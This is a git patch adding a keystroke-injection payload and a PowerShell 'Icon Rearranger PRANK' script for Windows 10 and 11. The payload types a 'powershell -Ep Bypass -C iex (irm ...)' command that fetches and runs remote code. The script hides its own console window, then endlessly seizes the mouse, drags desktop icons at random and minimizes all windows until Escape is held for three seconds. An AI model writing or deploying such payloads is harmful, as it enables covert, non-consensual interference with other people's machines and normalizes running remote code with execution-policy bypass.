From 26f33d3e9e6ee055c81468636def3fe3788e070e Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Fri, 27 Mar 2026 20:50:29 +0000 Subject: [PATCH] Add files via upload --- Icon-Rearranger/Icon-Rearranger.txt | 13 +++ Icon-Rearranger/main.ps1 | 164 ++++++++++++++++++++++++++++ 2 files changed, 177 insertions(+) create mode 100644 Icon-Rearranger/Icon-Rearranger.txt create mode 100644 Icon-Rearranger/main.ps1 diff --git a/Icon-Rearranger/Icon-Rearranger.txt b/Icon-Rearranger/Icon-Rearranger.txt new file mode 100644 index 0000000..d40ecd5 --- /dev/null +++ b/Icon-Rearranger/Icon-Rearranger.txt @@ -0,0 +1,13 @@ + +REM Title: Icon Rearranger PRANK +REM Author: @beigeworm +REM Description: Hijacks the mouse and continuously minimizees all windows and drags around the desktop attempting to rearrange icons +REM Target: Windows 10 and 11 + +DEFAULT_DELAY 100 + +DELAY 1000 +GUI r +DELAY 750 +STRING powershell -Ep Bypass -C iex (irm ...) +ENTER diff --git a/Icon-Rearranger/main.ps1 b/Icon-Rearranger/main.ps1 new file mode 100644 index 0000000..cf53aa5 --- /dev/null +++ b/Icon-Rearranger/main.ps1 @@ -0,0 +1,164 @@ + +<# ================================================ ICON REARRANGER PRANK ======================================================== + +SYNOPSIS +This script hijacks the mouse and continuously minimizees all windows and drags around the desktop attempting to rearrange icons! + +USAGE +1. Run the script. +2. Hold down the Escape key for 3 seconds to exit the script. + +#> + +# Hide the powershell console (1 = yes) +$hide = 1 + +# Code to hide the console on Windows 10 and 11 +if ($hide -eq 1){ + $Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);' + $Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru + $hwnd = (Get-Process -PID $pid).MainWindowHandle + + if ($hwnd -ne [System.IntPtr]::Zero) { + $Type::ShowWindowAsync($hwnd, 0) + } + else { + $Host.UI.RawUI.WindowTitle = 'hideme' + $Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' }) + $hwnd = $Proc.MainWindowHandle + $Type::ShowWindowAsync($hwnd, 0) + } +} + + + +$iconmove = { + +Add-Type @" +using System; +using System.Runtime.InteropServices; + +public class WinAPI { + [DllImport("user32.dll")] + public static extern bool SystemParametersInfo(int uiAction, int uiParam, out RECT pvParam, int fWinIni); + + [StructLayout(LayoutKind.Sequential)] + public struct RECT { + public int Left; + public int Top; + public int Right; + public int Bottom; + } + + public const int SPI_GETWORKAREA = 0x0030; +} +"@ + +Add-Type @" +using System; +using System.Runtime.InteropServices; + +public class Mouse { + [DllImport("user32.dll")] + public static extern void mouse_event(int dwFlags, int dx, int dy, int dwData, int dwExtraInfo); + + [DllImport("user32.dll")] + public static extern bool SetCursorPos(int X, int Y); + + public const int LEFTDOWN = 0x02; + public const int LEFTUP = 0x04; +} +"@ + +$apps = New-Object -ComObject Shell.Application + +# Get safe desktop area +$rect = New-Object WinAPI+RECT +[WinAPI]::SystemParametersInfo([WinAPI]::SPI_GETWORKAREA, 0, [ref]$rect, 0) + +$width = $rect.Right - $rect.Left +$height = $rect.Bottom - $rect.Top +$offsetX = $rect.Left +$offsetY = $rect.Top + +# Grid +$cols = [Math]::Min(40, [Math]::Floor($width / 50)) +$rows = [Math]::Min(16, [Math]::Floor($height / 50)) + +$cellW = [Math]::Floor($width / $cols) +$cellH = [Math]::Floor($height / $rows) + +# Points +$points = for ($x=0; $x -lt $cols; $x++) { + for ($y=0; $y -lt $rows; $y++) { + [PSCustomObject]@{ + X = [int]($offsetX + $x * $cellW + $cellW/2) + Y = [int]($offsetY + $y * $cellH + $cellH/2) + } + } +} + +Write-Host "MICRO-DRAG MODE: $cols x $rows grid" + +while ($true) { + $start = Get-Random $points + $end = Get-Random $points + + # Move to icon + [Mouse]::SetCursorPos($start.X, $start.Y) + Start-Sleep -Milliseconds 40 + + # Mouse down + [Mouse]::mouse_event([Mouse]::LEFTDOWN, 0, 0, 0, 0) + + # CRITICAL: tiny movement to trigger drag + [Mouse]::SetCursorPos($start.X + 5, $start.Y + 5) + Start-Sleep -Milliseconds 20 + + # Fast jump to destination + [Mouse]::SetCursorPos($end.X, $end.Y) + Start-Sleep -Milliseconds 20 + + # Release + [Mouse]::mouse_event([Mouse]::LEFTUP, 0, 0, 0, 0) + + Start-Sleep -Milliseconds 40 + + $apps.MinimizeAll() +} + +} + + + + +Start-Job -ScriptBlock $iconmove + + +# Exit the script when the Escape key is held down for 3 seconds or more +Add-Type @" +using System; +using System.Runtime.InteropServices; +public class Keyboard{ + [DllImport("user32.dll")] + public static extern short GetAsyncKeyState(int vKey); +} + +"@ +$VK_ESCAPE = 0x1B +$startTime = $null +while ($true) { + Start-Sleep -M 100 + $isEscapePressed = [Keyboard]::GetAsyncKeyState($VK_ESCAPE) -lt 0 + if ($isEscapePressed) { + if (-not $startTime) { + $startTime = Get-Date + } + $elapsedTime = (Get-Date) - $startTime + if ($elapsedTime.TotalSeconds -ge 3) { + exit + } + } else { + $startTime = $null + } +}